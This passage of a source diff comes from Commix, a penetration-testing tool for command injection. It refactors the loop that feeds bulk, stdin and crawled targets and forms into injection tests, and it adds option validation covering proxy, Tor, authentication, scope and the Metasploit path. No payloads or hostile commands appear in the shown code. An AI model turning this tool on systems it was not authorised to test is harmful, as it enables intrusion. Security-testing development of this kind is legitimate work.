settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - settings.MULTI_TARGETS = True - menu.options.batch = True - with open(menu.options.bulkfile, encoding="utf-8-sig") as f: - lines = [line for line in f if line.strip() and not line.lstrip().startswith("#")] - bulkfile = [x for x in (parse_target_line(line) for line in lines) if x] - # A line that names no usable target is dropped, and a list is long enough that dropping - # one quietly would never be noticed - so how many went is said before the run starts. - skipped = len(lines) - len(bulkfile) - if skipped: - warn_msg = "Skipped " + str(skipped) + " line" + ("s" if skipped > 1 else "") - warn_msg += " that named no target within scope." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - - # Check if option "--crawl" is enabled. - if settings.CRAWLING: - settings.CRAWLING_PHASE = True - url_num = 1 - if not menu.options.bulkfile and not settings.STDIN_PARSING: - crawling_list = 1 - output_href = crawler.crawler(url, url_num, crawling_list, http_request_method) - output_href.append(url) - output_forms += crawler.crawled_forms - else: - if settings.STDIN_PARSING: - # --crawl requires the full target list; stream only plain stdin targets. - bulkfile = list(stdin_parsing_target(os_checks_num)) - crawling_list = len(bulkfile) - for url in bulkfile: - output_href += (crawler.crawler(url, url_num, crawling_list, http_request_method)) - output_forms += crawler.crawled_forms - url_num += 1 - output_href = output_href + bulkfile - output_href = [x for x in output_href if x not in settings.HREF_SKIPPED] - if not menu.options.shellshock: - try: - output_href = crawler.normalize_results(output_href) - except SystemExit: - # No GET links; continue if crawled POST forms are available. - if not output_forms: - raise - output_href = [] - settings.CRAWLING_PHASE = False else: - filename = None - if not settings.STDIN_PARSING: - output_href = output_href + bulkfile - - # Stream plain stdin targets as they arrive; total_href stays None until the stream ends. - if settings.STDIN_PARSING and not settings.CRAWLING: - # The same items in the same order, with anything seen before left out. - def _dedupe_lazy(iterable): - seen = set() - for x in iterable: - if x and x not in seen: - seen.add(x) - yield x - clean_output_href = _dedupe_lazy(stdin_parsing_target(os_checks_num)) - total_href = None - else: - # Removing duplicates from list (order-preserving, O(n)). - clean_output_href = [] - seen_href = set() - for x in output_href: - if x not in seen_href: - seen_href.add(x) - clean_output_href.append(x) - # Removing empty elements from list. - clean_output_href = [x for x in clean_output_href if x] - if len(output_href) != 0: - if filename is not None: - filename = crawler.store_crawling(output_href) - total_href = len(clean_output_href) - - # Removing duplicates from the identified (crawled) forms (order-preserving, O(n)). - clean_output_forms = [] - seen_forms = set() - for x in output_forms: - if x not in seen_forms: - seen_forms.add(x) - clean_output_forms.append(x) - - # Merge target/form counts into one message (total_href is None in lazy stdin mode). - summary_parts = [] - if total_href: - summary_parts.append(str(total_href) + " target" + "s"[total_href == 1:]) - if len(clean_output_forms) != 0: - summary_parts.append(str(len(clean_output_forms)) + " form" + "s"[len(clean_output_forms) == 1:]) - if summary_parts: - info_msg = "Found a total of " + " and ".join(summary_parts) + "." - if settings.SKIPPED_OUT_OF_SCOPE: - info_msg += " Skipped " + str(len(settings.SKIPPED_OUT_OF_SCOPE)) + " target" + "s"[len(settings.SKIPPED_OUT_OF_SCOPE) == 1:] + " out of scope." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - - # Test crawled POST forms first; their method/data are handled separately. - form_num = 0 - orig_data = menu.options.data - orig_user_defined_post_data = settings.USER_DEFINED_POST_DATA - for form_url, form_data in clean_output_forms: - if check_for_injected_url(form_url): - prompt_skip_vulnerable_host(form_url) - - if settings.SKIP_VULNERABLE_HOST: - form_num += 1 - info_msg = "Skipping form URL '" + form_url + "' (" + str(form_num) + "/" + str(len(clean_output_forms)) + ")." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - continue - - if not check_for_injected_url(form_url): - settings.SKIP_VULNERABLE_HOST = None - form_num += 1 - perform_check = True - while True: - settings.print_data_to_stdout(settings.print_message("[" + str(form_num) + "/" + str(len(clean_output_forms)) + "] FORM - POST " + form_url + " - " + form_data)) - message = "Do you want to use form #" + str(form_num) + " for testing? [Y/n/q] " - next_form = common.read_input(message, default="Y", check_batch=True) - if next_form in settings.CHOICE_YES: - info_msg = "Testing form '" + form_url + "'." + output_href = [] + output_forms = [] + # Check if option is "-m" for multiple urls test. + if menu.options.bulkfile: + bulkfile = menu.options.bulkfile + if os_checks_num == 0: + info_msg = "Parsing targets using the '" + os.path.split(bulkfile)[1] + "' file. " settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - break - elif next_form in settings.CHOICE_NO: - perform_check = False - break - elif next_form in settings.CHOICE_QUIT: + + if not os.path.exists(bulkfile): + err_msg = "It seems the '" + bulkfile + "' file does not exist." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() + + elif os.stat(bulkfile).st_size == 0: + err_msg = "It seems the '" + bulkfile + "' file is empty." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + else: - common.invalid_option(next_form) - pass - if perform_check: - has_blank_fields = re.search(settings.EMPTY_FORM_FIELDS_REGEX, form_data) is not None - edit_msg = "Edit POST data [default: " + form_data + "]" - if has_blank_fields: - edit_msg += " (Warning: blank fields detected)" - edit_msg += ": " - form_data = common.read_input(edit_msg, default=form_data, check_batch=True) - if re.search(settings.EMPTY_FORM_FIELDS_REGEX, form_data): - fill_msg = "Do you want to fill blank fields with random values? [Y/n] " - if common.read_input(fill_msg, default="Y", check_batch=True) in settings.CHOICE_YES: - form_data = crawler.random_fill_blank_fields(form_data) - if menu.options.threads <= 1: - threads_msg = "Please enter number of threads? [Enter for " + str(menu.options.threads) + " (current)] " - threads_answer = common.read_input(threads_msg, default=str(menu.options.threads), check_batch=True) + settings.MULTI_TARGETS = True + menu.options.batch = True + with open(menu.options.bulkfile, encoding="utf-8-sig") as f: + lines = [line for line in f if line.strip() and not line.lstrip().startswith("#")] + bulkfile = [x for x in (parse_target_line(line) for line in lines) if x] + # A line that names no usable target is dropped, and a list is long enough that dropping + # one quietly would never be noticed - so how many went is said before the run starts. + skipped = len(lines) - len(bulkfile) + if skipped: + warn_msg = "Skipped " + str(skipped) + " line" + ("s" if skipped > 1 else "") + warn_msg += " that named no target within scope." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + # Check if option "--crawl" is enabled. + if settings.CRAWLING: + settings.CRAWLING_PHASE = True + url_num = 1 + if not menu.options.bulkfile and not settings.STDIN_PARSING: + crawling_list = 1 + output_href = crawler.crawler(url, url_num, crawling_list, http_request_method) + output_href.append(url) + output_forms += crawler.crawled_forms + else: + if settings.STDIN_PARSING: + # --crawl requires the full target list; stream only plain stdin targets. + bulkfile = list(stdin_parsing_target(os_checks_num)) + crawling_list = len(bulkfile) + for url in bulkfile: + output_href += (crawler.crawler(url, url_num, crawling_list, http_request_method)) + output_forms += crawler.crawled_forms + url_num += 1 + output_href = output_href + bulkfile + output_href = [x for x in output_href if x not in settings.HREF_SKIPPED] + if not menu.options.shellshock: try: - threads_value = int(threads_answer) - if threads_value > 1: - menu.options.threads = threads_value - settings.THREADS = min(threads_value, settings.MAX_THREADS) - if threads_value > settings.MAX_THREADS: - warn_msg = "Setting '--threads' to the maximum of " + str(settings.MAX_THREADS) + " concurrent HTTP requests." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - elif threads_value < 1: - common.invalid_option(threads_answer) - except ValueError: - common.invalid_option(threads_answer) - if os_checks_num == 0: - settings.INIT_TEST = True - # Reset the injection level - if settings.INJECTION_LEVEL > settings.HTTP_HEADER_INJECTION_LEVEL: - settings.INJECTION_LEVEL = 1 - settings.reset_target_state(menu.options) - menu.options.url = form_url - menu.options.data = form_data - settings.USER_DEFINED_POST_DATA = form_data - settings.IGNORE_USER_DEFINED_POST_DATA = False - init_injection(form_url) - try: - response, form_url = url_response(form_url, settings.HTTPMETHOD.POST) - if response is not False: - filename = logs.logs_filename_creation(form_url) - session_handler.restore_waf_status(form_url) - main(filename, form_url, settings.HTTPMETHOD.POST) - except KeyboardInterrupt: - checks.handle_early_interrupt(filename, form_url) - except (Exception, SystemExit): - pass - menu.options.data = orig_data - settings.USER_DEFINED_POST_DATA = orig_user_defined_post_data - - url_num = 0 - href_count_suffix = ("/" + str(total_href)) if total_href is not None else "" - for url, is_last_href in with_is_last(clean_output_href): - if check_for_injected_url(url): - prompt_skip_vulnerable_host(url) + output_href = crawler.normalize_results(output_href) + except SystemExit: + # No GET links; continue if crawled POST forms are available. + if not output_forms: + raise + output_href = [] + settings.CRAWLING_PHASE = False + else: + filename = None + if not settings.STDIN_PARSING: + output_href = output_href + bulkfile + + # Stream plain stdin targets as they arrive; total_href stays None until the stream ends. + if settings.STDIN_PARSING and not settings.CRAWLING: + # The same items in the same order, with anything seen before left out. + def _dedupe_lazy(iterable): + seen = set() + for x in iterable: + if x and x not in seen: + seen.add(x) + yield x + clean_output_href = _dedupe_lazy(stdin_parsing_target(os_checks_num)) + total_href = None + else: + # Removing duplicates from list (order-preserving, O(n)). + clean_output_href = [] + seen_href = set() + for x in output_href: + if x not in seen_href: + seen_href.add(x) + clean_output_href.append(x) + # Removing empty elements from list. + clean_output_href = [x for x in clean_output_href if x] + if len(output_href) != 0: + if filename is not None: + filename = crawler.store_crawling(output_href) + total_href = len(clean_output_href) + + # Removing duplicates from the identified (crawled) forms (order-preserving, O(n)). + clean_output_forms = [] + seen_forms = set() + for x in output_forms: + if x not in seen_forms: + seen_forms.add(x) + clean_output_forms.append(x) + + # Merge target/form counts into one message (total_href is None in lazy stdin mode). + summary_parts = [] + if total_href: + summary_parts.append(str(total_href) + " target" + "s"[total_href == 1:]) + if len(clean_output_forms) != 0: + summary_parts.append(str(len(clean_output_forms)) + " form" + "s"[len(clean_output_forms) == 1:]) + if summary_parts: + info_msg = "Found a total of " + " and ".join(summary_parts) + "." + if settings.SKIPPED_OUT_OF_SCOPE: + info_msg += " Skipped " + str(len(settings.SKIPPED_OUT_OF_SCOPE)) + " target" + "s"[len(settings.SKIPPED_OUT_OF_SCOPE) == 1:] + " out of scope." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + # Test crawled POST forms first; their method/data are handled separately. + form_num = 0 + orig_data = menu.options.data + orig_user_defined_post_data = settings.USER_DEFINED_POST_DATA + for form_url, form_data in clean_output_forms: + if check_for_injected_url(form_url): + prompt_skip_vulnerable_host(form_url) if settings.SKIP_VULNERABLE_HOST: - url_num += 1 - info_msg = "Skipping URL '" + url + "' (" + str(url_num) + href_count_suffix + ")." + form_num += 1 + info_msg = "Skipping form URL '" + form_url + "' (" + str(form_num) + "/" + str(len(clean_output_forms)) + ")." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + continue - if not check_for_injected_url(url) or settings.SKIP_VULNERABLE_HOST is False: - if not check_for_injected_url(url): + if not check_for_injected_url(form_url): settings.SKIP_VULNERABLE_HOST = None - http_request_method = checks.check_http_method(url) - if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url) or menu.options.shellshock) or settings.MULTI_TARGETS: - url_num += 1 - perform_check = True - while True: - settings.print_data_to_stdout(settings.print_message("[" + str(url_num) + href_count_suffix + "] URL - " + http_request_method + " " + url)) - message = "Do you want to use URL #" + str(url_num) + " for testing? [Y/n] " - next_url = common.read_input(message, default="Y", check_batch=True) - if next_url in settings.CHOICE_YES: - info_msg = "Testing URL '" + url + "'." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - break - elif next_url in settings.CHOICE_NO: - perform_check = False - if is_last_href: + form_num += 1 + perform_check = True + while True: + settings.print_data_to_stdout(settings.print_message("[" + str(form_num) + "/" + str(len(clean_output_forms)) + "] FORM - POST " + form_url + " - " + form_data)) + message = "Do you want to use form #" + str(form_num) + " for testing? [Y/n/q] " + next_form = common.read_input(message, default="Y", check_batch=True) + if next_form in settings.CHOICE_YES: + info_msg = "Testing form '" + form_url + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + break + elif next_form in settings.CHOICE_NO: + perform_check = False + break + elif next_form in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(next_form) + pass + if perform_check: + has_blank_fields = re.search(settings.EMPTY_FORM_FIELDS_REGEX, form_data) is not None + edit_msg = "Edit POST data [default: " + form_data + "]" + if has_blank_fields: + edit_msg += " (Warning: blank fields detected)" + edit_msg += ": " + form_data = common.read_input(edit_msg, default=form_data, check_batch=True) + if re.search(settings.EMPTY_FORM_FIELDS_REGEX, form_data): + fill_msg = "Do you want to fill blank fields with random values? [Y/n] " + if common.read_input(fill_msg, default="Y", check_batch=True) in settings.CHOICE_YES: + form_data = crawler.random_fill_blank_fields(form_data) + if menu.options.threads <= 1: + threads_msg = "Please enter number of threads? [Enter for " + str(menu.options.threads) + " (current)] " + threads_answer = common.read_input(threads_msg, default=str(menu.options.threads), check_batch=True) + try: + threads_value = int(threads_answer) + if threads_value > 1: + menu.options.threads = threads_value + settings.THREADS = min(threads_value, settings.MAX_THREADS) + if threads_value > settings.MAX_THREADS: + warn_msg = "Setting '--threads' to the maximum of " + str(settings.MAX_THREADS) + " concurrent HTTP requests." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + elif threads_value < 1: + common.invalid_option(threads_answer) + except ValueError: + common.invalid_option(threads_answer) + if os_checks_num == 0: + settings.INIT_TEST = True + # Reset the injection level + if settings.INJECTION_LEVEL > settings.HTTP_HEADER_INJECTION_LEVEL: + settings.INJECTION_LEVEL = 1 + settings.reset_target_state(menu.options) + menu.options.url = form_url + menu.options.data = form_data + settings.USER_DEFINED_POST_DATA = form_data + settings.IGNORE_USER_DEFINED_POST_DATA = False + init_injection(form_url) + try: + response, form_url = url_response(form_url, settings.HTTPMETHOD.POST) + if response is not False: + filename = logs.logs_filename_creation(form_url) + session_handler.restore_waf_status(form_url) + main(filename, form_url, settings.HTTPMETHOD.POST) + except KeyboardInterrupt: + checks.handle_early_interrupt(filename, form_url) + except (Exception, SystemExit): + pass + menu.options.data = orig_data + settings.USER_DEFINED_POST_DATA = orig_user_defined_post_data + + url_num = 0 + href_count_suffix = ("/" + str(total_href)) if total_href is not None else "" + for url, is_last_href in with_is_last(clean_output_href): + if check_for_injected_url(url): + prompt_skip_vulnerable_host(url) + + if settings.SKIP_VULNERABLE_HOST: + url_num += 1 + info_msg = "Skipping URL '" + url + "' (" + str(url_num) + href_count_suffix + ")." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + if not check_for_injected_url(url) or settings.SKIP_VULNERABLE_HOST is False: + if not check_for_injected_url(url): + settings.SKIP_VULNERABLE_HOST = None + http_request_method = checks.check_http_method(url) + if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url) or menu.options.shellshock) or settings.MULTI_TARGETS: + url_num += 1 + perform_check = True + while True: + settings.print_data_to_stdout(settings.print_message("[" + str(url_num) + href_count_suffix + "] URL - " + http_request_method + " " + url)) + message = "Do you want to use URL #" + str(url_num) + " for testing? [Y/n] " + next_url = common.read_input(message, default="Y", check_batch=True) + if next_url in settings.CHOICE_YES: + info_msg = "Testing URL '" + url + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + break + elif next_url in settings.CHOICE_NO: + perform_check = False + if is_last_href: + raise SystemExit() + else: + break + elif next_url in settings.CHOICE_QUIT: raise SystemExit() else: - break - elif next_url in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(next_url) - pass - if perform_check: - if settings.CRAWLING: - split_url = _urllib.parse.urlsplit(url) - if re.search(settings.EMPTY_FORM_FIELDS_REGEX, split_url.query): - edit_msg = "Edit URL [default: " + url + "] (Warning: blank fields detected): " - url = common.read_input(edit_msg, default=url, check_batch=True) + common.invalid_option(next_url) + pass + if perform_check: + if settings.CRAWLING: split_url = _urllib.parse.urlsplit(url) if re.search(settings.EMPTY_FORM_FIELDS_REGEX, split_url.query): - fill_msg = "Do you want to fill blank fields with random values? [Y/n] " - if common.read_input(fill_msg, default="Y", check_batch=True) in settings.CHOICE_YES: - url = _urllib.parse.urlunsplit(split_url._replace(query=crawler.random_fill_blank_fields(split_url.query))) - if os_checks_num == 0: - settings.INIT_TEST = True - # Reset the injection level - if settings.INJECTION_LEVEL > settings.HTTP_HEADER_INJECTION_LEVEL: - settings.INJECTION_LEVEL = 1 - settings.reset_target_state(menu.options) - menu.options.url = url - init_injection(url) - try: - response, url = url_response(url, http_request_method) - if response is not False: - filename = logs.logs_filename_creation(url) - session_handler.restore_waf_status(url) - main(filename, url, http_request_method) - except KeyboardInterrupt: - checks.handle_early_interrupt(filename, url) - except (Exception, SystemExit): - pass - else: - url_num += 1 - settings.print_data_to_stdout(settings.print_message("[" + str(url_num) + href_count_suffix + "] Skipping URL - " + http_request_method + " " + url)) - - if is_last_href: - raise SystemExit() + edit_msg = "Edit URL [default: " + url + "] (Warning: blank fields detected): " + url = common.read_input(edit_msg, default=url, check_batch=True) + split_url = _urllib.parse.urlsplit(url) + if re.search(settings.EMPTY_FORM_FIELDS_REGEX, split_url.query): + fill_msg = "Do you want to fill blank fields with random values? [Y/n] " + if common.read_input(fill_msg, default="Y", check_batch=True) in settings.CHOICE_YES: + url = _urllib.parse.urlunsplit(split_url._replace(query=crawler.random_fill_blank_fields(split_url.query))) + if os_checks_num == 0: + settings.INIT_TEST = True + # Reset the injection level + if settings.INJECTION_LEVEL > settings.HTTP_HEADER_INJECTION_LEVEL: + settings.INJECTION_LEVEL = 1 + settings.reset_target_state(menu.options) + menu.options.url = url + init_injection(url) + try: + response, url = url_response(url, http_request_method) + if response is not False: + filename = logs.logs_filename_creation(url) + session_handler.restore_waf_status(url) + main(filename, url, http_request_method) + except KeyboardInterrupt: + checks.handle_early_interrupt(filename, url) + except (Exception, SystemExit): + pass + else: + url_num += 1 + settings.print_data_to_stdout(settings.print_message("[" + str(url_num) + href_count_suffix + "] Skipping URL - " + http_request_method + " " + url)) + + if is_last_href: + raise SystemExit() -except KeyboardInterrupt: - try: - checks.user_aborted(filename, url) - except NameError: - abort_msg = "User quit (Ctrl-C pressed)." - settings.print_data_to_stdout(settings.print_abort_msg(abort_msg)) - raise checks.exit() - -except EOFError: - err_msg = "Exiting, due to EOFError." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - raise checks.exit() - -except SystemExit: - raise checks.exit() + except KeyboardInterrupt: + try: + checks.user_aborted(filename, url) + except NameError: + abort_msg = "User quit (Ctrl-C pressed)." + settings.print_data_to_stdout(settings.print_abort_msg(abort_msg)) + raise checks.exit() + + except EOFError: + err_msg = "Exiting, due to EOFError." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + raise checks.exit() + + except SystemExit: + raise checks.exit() # eof diff --git a/src/core/options.py b/src/core/options.py new file mode 100644 index 0000000000..9d542aab31 --- /dev/null +++ b/src/core/options.py @@ -0,0 +1,311 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import re +import sys + +from src.utils import common +from src.utils import settings +from src.core.parse import cmdline as menu +from src.core.requests import tor +from src.core.requests import cookies +from src.core.controller import checks + +""" +Everything the options say, checked and settled before a target is contacted. + +An option the run cannot act on is the user's own to correct, and one that contradicts another +says so here rather than after a connection has been opened and a payload sent. +""" +def validate(): + # Check for missing mandatory option(s). + if not settings.STDIN_PARSING and not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \ + menu.options.requestfile, menu.options.sitemap_url, menu.options.wizard, \ + menu.options.update, menu.options.list_tampers)): + if not menu.options.purge: + err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --wizard, --update, --list-tampers or --purge). " + err_msg += "Use -h for help." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + # Any out-of-band option on its own is enough to ask for the channel. + if any((menu.options.oob_server, menu.options.oob_token, menu.options.oob_poll != settings.OOB_POLL_INTERVAL)): + menu.options.oob = True + + checks.init_keep_alive() + checks.set_optimize() + + if menu.options.codec: + if not settings.known_encoding(menu.options.codec): + err_msg = "The provided charset '" + menu.options.codec + "' is unknown. " + err_msg += "Please visit 'http://docs.python.org/library/codecs.html#standard-encodings' " + err_msg += "to get the full list of supported charsets." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + else: + settings.DEFAULT_CODEC = menu.options.codec.lower() + + if menu.options.header and len(menu.options.header.split(settings.END_LINE.ESCAPED_LF))> 1: + warn_msg = "Due to multiple provided HTTP headers, switching '--header' to '--headers'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + if menu.options.method: + settings.HTTP_METHOD = menu.options.method + + if menu.options.answers: + settings.ANSWERS = menu.options.answers + + # Check if defined "--proxy" option. + if menu.options.proxy: + if menu.options.tor: + err_msg = "The switch '--tor' is incompatible with option '--proxy'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + if menu.options.ignore_proxy: + err_msg = "The option '--proxy' is incompatible with switch '--ignore-proxy'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + for match in re.finditer(settings.PROXY_REGEX, menu.options.proxy): + _, proxy_scheme, proxy_address, proxy_port = match.groups() + if settings.SCHEME or proxy_scheme: + if not settings.SCHEME: + settings.SCHEME = proxy_scheme + menu.options.proxy = proxy_address + ":" + proxy_port + break + else: + err_msg = "Proxy value must be in format '(http|https)://address:port'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + if not menu.options.proxy: + # Check if defined Tor (--tor option). + if menu.options.tor: + if menu.options.tor_port: + settings.TOR_HTTP_PROXY_PORT = menu.options.tor_port + menu.options.proxy = settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT + tor.do_check() + + if menu.options.ignore_session and menu.options.flush_session: + err_msg = "The '--ignore-session' switch is unlikely to work combined with the '--flush-session' switch." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + if menu.options.failed_tries == 0: + err_msg = "You must specify '--failed-tries' value, greater than zero." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + # Check if defined "--auth-cred" and/or '--auth-type'. + if (menu.options.auth_type and not menu.options.auth_cred) or (menu.options.auth_cred and not menu.options.auth_type): + err_msg = "You must specify both '--auth-cred' and '--auth-type' options." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + if menu.options.auth_cred and menu.options.auth_type: + if menu.options.auth_type.lower() in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST) and not re.search(settings.AUTH_CRED_REGEX, menu.options.auth_cred): + error_msg = "HTTP " + str(menu.options.auth_type) + error_msg += " authentication credentials value must be in format 'username:password'." + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + raise SystemExit() + + if menu.options.requestfile and menu.options.url: + err_msg = "The '-r' option is incompatible with option '-u' ('--url')." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + if menu.options.bulkfile and menu.options.url: + err_msg = "The '-m' option is incompatible with option '-u' ('--url')." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + # Check the user-defined OS. + if menu.options.os: + checks.user_defined_os() + + # Check if defined "--abort-code" option. + if menu.options.abort_code: + try: + settings.ABORT_CODE = [int(_) for _ in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.abort_code)] + except ValueError: + err_msg = "The option '--abort-code' should contain a list of integer values." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + # Check if defined "--ignore-code" option. + if menu.options.ignore_code: + try: + settings.IGNORE_CODE = [int(_) for _ in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.ignore_code)] + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Ignoring '" + str(', '.join(str(x) for x in settings.IGNORE_CODE)) + "' HTTP error code"+('', 's')[len(settings.IGNORE_CODE) > 1]+ "." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + except ValueError: + err_msg = "The option '--ignore-code' should contain a list of integer values." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + # Check if defined "--wizard" option. + if menu.options.wizard: + info_msg = "Starting wizard interface." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + message = "Please enter full target URL (-u) " + if menu.options.url: + settings.print_data_to_stdout(settings.print_message(message + str(menu.options.url))) + elif not menu.options.url and not settings.STDIN_PARSING: + while True: + menu.options.url = common.read_input(message, default=None, check_batch=True) + if menu.options.url is None or len(menu.options.url) == 0: + pass + else: + break + message = "POST data (--data) [Enter for None] " + if settings.STDIN_PARSING or menu.options.data: + settings.print_data_to_stdout(settings.print_message(message + str(menu.options.data))) + else: + menu.options.data = common.read_input(message, default=None, check_batch=True) + if menu.options.data is not None and len(menu.options.data) == 0: + menu.options.data = False + while True: + message = "Injection difficulty (--level) [1-3, Default: 1] " + if settings.STDIN_PARSING: + settings.print_data_to_stdout(settings.print_message(message + str(settings.INJECTION_LEVEL))) + break + try: + settings.INJECTION_LEVEL = int(common.read_input(message, default=settings.DEFAULT_INJECTION_LEVEL, check_batch=True)) + if settings.INJECTION_LEVEL > int(settings.HTTP_HEADER_INJECTION_LEVEL): + pass + else: + break + except ValueError: + pass + + # Seconds to delay between each HTTP request. + if menu.options.delay != 0: + settings.DELAY = menu.options.delay + + # Check if defined "--timesec" option. + if menu.options.timesec != 0: + settings.TIMESEC = menu.options.timesec + + # Check if defined "--threads" option. + if menu.options.threads > 1: + try: + import concurrent.futures + threads_supported = True + except ImportError: + threads_supported = False + if not threads_supported: + warn_msg = "'--threads' needs Python 3.2+; continuing with a single thread." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + elif menu.options.threads > settings.MAX_THREADS: + settings.THREADS = settings.MAX_THREADS + warn_msg = "Setting '--threads' to the maximum of " + str(settings.MAX_THREADS) + " concurrent HTTP requests." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + else: + settings.THREADS = menu.options.threads + if settings.THREADS > 1 and settings.VERBOSITY_LEVEL != 0: + debug_msg = "Setting " + str(settings.THREADS) + " concurrent HTTP requests." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + if menu.options.tor: + settings.TIMESEC = settings.TIMESEC * 2 + warn_msg = "Increasing default value for option '--time-sec' to" + warn_msg += " " + str(settings.TIMESEC) + ", because you provided switch '--tor'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + if menu.options.sitemap_url: + settings.SITEMAP_CHECK = True + + if menu.options.crawldepth > 0 or settings.SITEMAP_CHECK: + settings.CRAWLING = True + + if menu.options.crawl_exclude: + if not settings.CRAWLING: + err_msg = "The '--crawl-exclude' option requires usage of the '--crawl' option." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + try: + re.compile(menu.options.crawl_exclude) + except Exception as e: + err_msg = "invalid regular expression '" + menu.options.crawl_exclude + "' (" + str(e) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + # Only a request carrying a body can be split into chunks. + if menu.options.chunked and not any((menu.options.data, menu.options.requestfile, \ + menu.options.logfile, menu.options.forms)): + err_msg = "The '--chunked' switch requires usage of POST data." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + for option, cookies_file in (("--load-cookies", menu.options.load_cookies), ("--live-cookies", menu.options.live_cookies)): + if cookies_file and not os.path.isfile(cookies_file): + err_msg = "It seems the '" + cookies_file + "' file, provided with the '" + option + "' option, does not exist." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + # The file keeps being read as it changes, so what it holds now would only be overwritten. + if menu.options.load_cookies and not menu.options.live_cookies: + menu.options.cookie = cookies.load_cookies() + + if menu.options.scope: + try: + re.compile(menu.options.scope) + except Exception as e: + err_msg = "invalid regular expression '" + menu.options.scope + "' (" + str(e) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + info_msg = "Using regular expression '" + menu.options.scope + "' for filtering targets." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + if menu.options.forms and not settings.CRAWLING: + err_msg = "The '--forms' switch requires the '--crawl' option." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + # Check arguments + if len(sys.argv) == 1 and not settings.STDIN_PARSING: + menu.parser.print_help() + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + raise SystemExit() + else: + # Check for INJECT_HERE tag. + inject_tag_regex_match = re.search(settings.INJECT_TAG_REGEX, ",".join(str(x) for x in sys.argv)) + if inject_tag_regex_match: + settings.INJECT_TAG = inject_tag_regex_match.group(0) + + # What can be answered without the target is answered before it is contacted: a path that does + # not exist is no reason to have opened a connection, let alone to have sent it a payload. + if menu.options.file_write is not None: + if not os.path.exists(menu.options.file_write): + err_msg = "The specified local file '" + menu.options.file_write + "' does not exist." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + if not os.path.isfile(menu.options.file_write): + err_msg = "The specified path '" + menu.options.file_write + "' is not a file." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + # Check provided parameters for tests + checks.check_provided_parameters() + + # Define the local path where Metasploit Framework is installed. + if menu.options.msf_path: + settings.METASPLOIT_PATH = menu.options.msf_path + + +# eof diff --git a/src/core/requests/keepalive.py b/src/core/requests/keepalive.py index c7b8af0fe0..5f4bac4e22 100644 --- a/src/core/requests/keepalive.py +++ b/src/core/requests/keepalive.py @@ -15,7 +15,6 @@ import threading from socket import error as SocketError -from src.utils import settings from src.thirdparty.six.moves import http_client as _http_client from 